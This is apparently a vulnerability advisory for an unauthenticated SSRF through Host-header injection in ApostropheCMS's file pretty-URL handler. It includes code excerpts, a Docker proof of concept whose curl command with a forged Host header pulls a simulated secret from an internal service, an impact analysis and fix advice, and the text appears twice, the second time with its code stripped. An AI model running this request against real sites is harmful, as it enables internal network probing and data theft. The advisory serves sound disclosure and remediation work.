Summary
When prettyUrls: true is enabled on @apostrophecms/file (a documented SEO
feature for serving uploaded files at clean URLs), the public pretty-URL
handler builds the upstream URL using the raw Host HTTP request header:
proxyUrl = `${req.protocol}://${req.get('host')}${uglyUrl}`
That URL is then fetch'ed and the response body + headers are streamed
straight back to the requester. Because Host is fully attacker-controlled,
an unauthenticated remote attacker can pivot the apostrophe process to
issue outbound HTTP requests against any host it can reach on the private
network. The path component is constrained to
/uploads/attachments/<cuid>-<slug>.<ext> (built from a local-DB lookup),
which keeps the impact narrow: cross-instance data exfiltration is
neutralised by cuid uniqueness, but blind-SSRF residuals remain
(network-topology mapping via response-code / timing differences and
verbose proxy/WAF 404 body disclosure). Verified on apostrophe@4.30.0
(latest); no fixed release exists.
- Affected:
apostrophe <= 4.30.0 when @apostrophecms/file is
configured with prettyUrls: true and uploadfs is local (the default;
S3/CDN deployments produce an absolute uglyUrl and are not affected).
- CWE: CWE-918
- CVSS v3.1:
AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N — 3.7 Low. AC:H because
meaningful info disclosure requires a specific target shape (verbose
WAF / proxy 404, banner disclosure, or exploitable response-code /
timing side channels). C:L captures the residual info-disclosure
surface (banner / network mapping). Path constraint plus cuid
uniqueness rules out the cross-instance / cloud-metadata
exfiltration cases.
Details
modules/@apostrophecms/file/index.js (excerpt; the public GET route
registered when prettyUrls: true):
if (!self.options.prettyUrls) return;
return {
get: {
async [`${self.options.prettyUrlDir}/*`](req, res) {
const matches = (req.params[0] || '').match(/^([^.]+)\.\w+$/);
if (!matches) return res.status(400).send('invalid');
const [ , slug ] = matches;
if (slug.includes('..') || slug.includes('/')) {
return res.status(403).send('forbidden');
}
const file = await self.find(req, {
slug: `${self.options.slugPrefix}${slug}`
}).toObject();
if (!file) return res.status(404).send('not found');
const uglyUrl = self.apos.attachment.url(file.attachment, { prettyUrl: false });
const proxyUrl = uglyUrl.startsWith('/')
? `${req.protocol}://${req.get('host')}${uglyUrl}` // <-- sink
: uglyUrl;
return await streamProxy(req, proxyUrl, { error: self.apos.util.error });
}
}
};
lib/stream-proxy.js (excerpt):
module.exports = async function(req, url, { error }) {
const res = req.res;
if (url.startsWith('/')) url = `${req.baseUrl}${url}`;
let response;
try { response = await fetch(url); } // <-- attacker-steered fetch
catch (e) { return send502(e); }
for (const header of ['content-type','etag','last-modified','content-disposition','cache-control']) {
const v = response.headers.get(header);
if (v != null) res.header(header, v);
}
res.status(response.status);
response.body.pipeTo(new WritableStream({ write(c){ res.write(c) }, close(){ res.end() }, ... }));
};
req.get('host') returns the unvalidated Host HTTP header from the request.
Express does not validate or restrict it, and apostrophe does not check the
constructed proxyUrl against an allowlist. The upstream's body and
content-type are forwarded verbatim — so any response the targeted host does
return at the constrained path will reach the attacker. In practice the path
constraint (/uploads/attachments/<cuid>-<slug>.<ext>) and cuid uniqueness
mean meaningful body exfiltration only occurs against verbose-404 / banner-
leaky proxies; against most internal services this degenerates to blind
SSRF (response-code + timing side channels).
Prerequisites are minimal: prettyUrls: true (a documented production SEO
option) + at least one file uploaded with a known slug. Slugs are publicly
enumerable in normal CMS use (file URLs appear in page content).
Distinct from the only published apostrophe SSRF advisory,
GHSA-pr28-mf3q-qpg6 ("Authenticated SSRF in rich-text widget import via
@apostrophecms/area validate-widget"), which is authenticated and lives in a
completely different module/route. This finding is unauthenticated, in
@apostrophecms/file, via the Host header.
PoC
Three services on an isolated Docker network: mongo, internal (returns a
fake secret, never exposed to the host), apos:3000 (the only port the
host can reach). The host attacker proves it cannot reach internal
directly, then exfiltrates internal's response via one crafted request to
apos.
app.js (normal apostrophe site, documented option only):
require('apostrophe')({
shortName: 'apos-ssrf-poc',
autoBuild: false,
modules: {
'@apostrophecms/express': { options: { session: { secret: 'x' }, port: 3000 } },
'@apostrophecms/db': { options: { uri: process.env.APOS_MONGODB_URI } },
'@apostrophecms/asset': { options: { autoBuild: false, publicBundle: false, watch: false, hmr: false } },
'@apostrophecms/file': { options: { prettyUrls: true, prettyUrlDir: '/files' } },
'poc-seed': {} // seeds one file doc on boot (= what an admin does via the upload UI)
}
});
docker-compose.yml:
services:
mongo: { image: mongo:7, networks: [poc] }
internal:
image: python:3.12-slim
command: ["python","-c","import http.server,socketserver\nclass H(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200);self.send_header('content-type','text/plain');self.end_headers()\n self.wfile.write(b'INTERNAL_SECRET=AKIA_simulated_aws_key_REDACTED;DB_PASS=hunter2\\n')\nsocketserver.TCPServer(('0.0.0.0',80),H).serve_forever()"]
networks: [poc]
apos:
build: .
environment: { APOS_MONGODB_URI: mongodb://mongo:27017/apos-ssrf-poc }
depends_on: [mongo, internal]
ports: ["3000:3000"]
networks: [poc]
networks: { poc: { driver: bridge } }
exploit.sh (unauthenticated attacker on the host):
# 1. Prove the internal target is not reachable from the host
curl --max-time 2 -s http://internal/ || echo "(unreachable, as expected)"
# 2. ATTACK: same pretty URL, attacker-supplied Host header
curl -sS -H 'Host: internal' "http://127.0.0.1:3000/files/poc.pdf"
Build & run:
docker compose build && docker compose up -d && ./exploit.sh
Observed output (apostrophe@4.30.0, clean stack):
[probe] confirm the internal target is NOT reachable from the host:
curl: (6) Could not resolve host: internal
[normal] same pretty URL, normal Host header (Host: apos):
HTTP=502 bytes=49 content-type=text/html; charset=utf-8
upstream media error fetching data for pretty URL
[ATTACK] pretty URL with attacker-supplied Host header pointing at the private 'internal' service:
HTTP=200 bytes=64 content-type=text/plain; charset=utf-8
[ATTACK] response body received by the attacker:
INTERNAL_SECRET=AKIA_simulated_aws_key_REDACTED;DB_PASS=hunter2
RESULT: VULNERABLE — unauthenticated attacker exfiltrated private internal data via apostrophe's @apostrophecms/file pretty-URL SSRF (Host-header injection).
The internal service is unreachable from the host, but apostrophe fetches
it on the attacker's behalf and pipes the response body — secret included —
straight back over the same HTTP response.
Impact
Unauthenticated remote SSRF, but the path component is constrained to
/uploads/attachments/<cuid>-<slug>.<ext> (built from a local-DB lookup
on a slug the attacker already had to know). That constraint plus cuid
uniqueness rules out the cases I originally listed:
- Cloud metadata is not reachable — AWS IMDS
(/latest/meta-data/...), GCP (/computeMetadata/v1/...), and Azure
(/metadata/...) all live at fixed paths that don't overlap with
/uploads/attachments/.... Same for Redis admin, Elasticsearch, and
most internal API surfaces.
- Cross-instance data exfiltration is also ruled out. For an
internal target (another apos instance, MinIO bucket, etc.) to serve
a body at this path, it would need the exact local cuid + slug, which
realistically only happens when the target restored / shares the
public site's data — in which case the same content is reachable via
the front door anyway. Apostrophe also won't construct a pretty URL
for archived / restricted media, closing the older-snapshot edge case.
What remains is blind-SSRF residual:
- Network-topology mapping via response-code or response-time
differences across internal hosts.
- Banner / version disclosure from verbose reverse-proxy or WAF 404
bodies.
- Bypassing network egress controls — outbound requests originate from
the apostrophe server rather than the attacker.
The attack requires only the public pretty-URL endpoint and one
publicly-known file slug, both trivially available in normal CMS
operation.
Recommended fix
Stop deriving the upstream URL from the request Host header. Two
complementary changes:
-
In modules/@apostrophecms/file/index.js (the lines that build
proxyUrl), use a server-trusted absolute base URL (e.g., apos.baseUrl
or the configured site URL) instead of req.get('host'):
const proxyUrl = uglyUrl.startsWith('/')
? `${self.apos.baseUrl || req.baseUrl}${uglyUrl}`
: uglyUrl;
-
In lib/stream-proxy.js, enforce a strict origin allowlist (the
configured apostrophe base URL + any configured CDN host) before calling
fetch. Defence in depth: future callers of streamProxy cannot
accidentally reintroduce the gap.
A regression test that sets Host: 169.254.169.254 (or any non-configured
host) on /files/<slug>.<ext> and asserts the upstream fetch is not
issued / the response is a 4xx would lock this down.
References
Summary
When
prettyUrls: trueis enabled on@apostrophecms/file(a documented SEOfeature for serving uploaded files at clean URLs), the public pretty-URL
handler builds the upstream URL using the raw
HostHTTP request header:That URL is then
fetch'ed and the response body + headers are streamedstraight back to the requester. Because
Hostis fully attacker-controlled,an unauthenticated remote attacker can pivot the apostrophe process to
issue outbound HTTP requests against any host it can reach on the private
network. The path component is constrained to
/uploads/attachments/<cuid>-<slug>.<ext>(built from a local-DB lookup),which keeps the impact narrow: cross-instance data exfiltration is
neutralised by cuid uniqueness, but blind-SSRF residuals remain
(network-topology mapping via response-code / timing differences and
verbose proxy/WAF 404 body disclosure). Verified on
apostrophe@4.30.0(latest); no fixed release exists.
apostrophe <= 4.30.0when@apostrophecms/fileisconfigured with
prettyUrls: trueand uploadfs is local (the default;S3/CDN deployments produce an absolute
uglyUrland are not affected).AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N— 3.7 Low.AC:Hbecausemeaningful info disclosure requires a specific target shape (verbose
WAF / proxy 404, banner disclosure, or exploitable response-code /
timing side channels).
C:Lcaptures the residual info-disclosuresurface (banner / network mapping). Path constraint plus cuid
uniqueness rules out the cross-instance / cloud-metadata
exfiltration cases.
Details
modules/@apostrophecms/file/index.js(excerpt; the public GET routeregistered when
prettyUrls: true):lib/stream-proxy.js(excerpt):req.get('host')returns the unvalidatedHostHTTP header from the request.Express does not validate or restrict it, and apostrophe does not check the
constructed
proxyUrlagainst an allowlist. The upstream's body andcontent-type are forwarded verbatim — so any response the targeted host does
return at the constrained path will reach the attacker. In practice the path
constraint (
/uploads/attachments/<cuid>-<slug>.<ext>) and cuid uniquenessmean meaningful body exfiltration only occurs against verbose-404 / banner-
leaky proxies; against most internal services this degenerates to blind
SSRF (response-code + timing side channels).
Prerequisites are minimal:
prettyUrls: true(a documented production SEOoption) + at least one file uploaded with a known slug. Slugs are publicly
enumerable in normal CMS use (file URLs appear in page content).
Distinct from the only published apostrophe SSRF advisory,
GHSA-pr28-mf3q-qpg6 ("Authenticated SSRF in rich-text widget import via
@apostrophecms/area validate-widget"), which is authenticated and lives in a
completely different module/route. This finding is unauthenticated, in
@apostrophecms/file, via theHostheader.PoC
Three services on an isolated Docker network:
mongo,internal(returns afake secret, never exposed to the host),
apos:3000(the only port thehost can reach). The host attacker proves it cannot reach
internaldirectly, then exfiltrates
internal's response via one crafted request toapos.app.js(normal apostrophe site, documented option only):docker-compose.yml:exploit.sh(unauthenticated attacker on the host):Build & run:
Observed output (
apostrophe@4.30.0, clean stack):The
internalservice is unreachable from the host, but apostrophe fetchesit on the attacker's behalf and pipes the response body — secret included —
straight back over the same HTTP response.
Impact
Unauthenticated remote SSRF, but the path component is constrained to
/uploads/attachments/<cuid>-<slug>.<ext>(built from a local-DB lookupon a slug the attacker already had to know). That constraint plus cuid
uniqueness rules out the cases I originally listed:
(
/latest/meta-data/...), GCP (/computeMetadata/v1/...), and Azure(
/metadata/...) all live at fixed paths that don't overlap with/uploads/attachments/.... Same for Redis admin, Elasticsearch, andmost internal API surfaces.
internal target (another apos instance, MinIO bucket, etc.) to serve
a body at this path, it would need the exact local cuid + slug, which
realistically only happens when the target restored / shares the
public site's data — in which case the same content is reachable via
the front door anyway. Apostrophe also won't construct a pretty URL
for archived / restricted media, closing the older-snapshot edge case.
What remains is blind-SSRF residual:
differences across internal hosts.
bodies.
the apostrophe server rather than the attacker.
The attack requires only the public pretty-URL endpoint and one
publicly-known file slug, both trivially available in normal CMS
operation.
Recommended fix
Stop deriving the upstream URL from the request
Hostheader. Twocomplementary changes:
In
modules/@apostrophecms/file/index.js(the lines that buildproxyUrl), use a server-trusted absolute base URL (e.g.,apos.baseUrlor the configured site URL) instead of
req.get('host'):In
lib/stream-proxy.js, enforce a strict origin allowlist (theconfigured apostrophe base URL + any configured CDN host) before calling
fetch. Defence in depth: future callers ofstreamProxycannotaccidentally reintroduce the gap.
A regression test that sets
Host: 169.254.169.254(or any non-configuredhost) on
/files/<slug>.<ext>and asserts the upstreamfetchis notissued / the response is a 4xx would lock this down.
References
GHSA-pr28-mf3q-qpg6
modules/@apostrophecms/file/index.js(pretty-URLroute),
lib/stream-proxy.js